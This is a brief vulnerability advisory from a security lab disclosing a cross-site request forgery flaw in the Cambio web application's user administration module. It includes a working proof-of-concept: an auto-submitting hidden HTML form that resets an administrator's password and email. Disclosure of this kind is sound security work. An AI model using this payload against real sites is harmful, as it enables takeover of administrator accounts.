Cross-site Request Forgery (CSRF) in Cambio

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Cambio which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Cambio
The vulnerability exists due to insufficient validation of the request origin in modules/user/user.admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USERID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="usertype_id" value="2">
</form>
<script>
document.main.submit();
</script>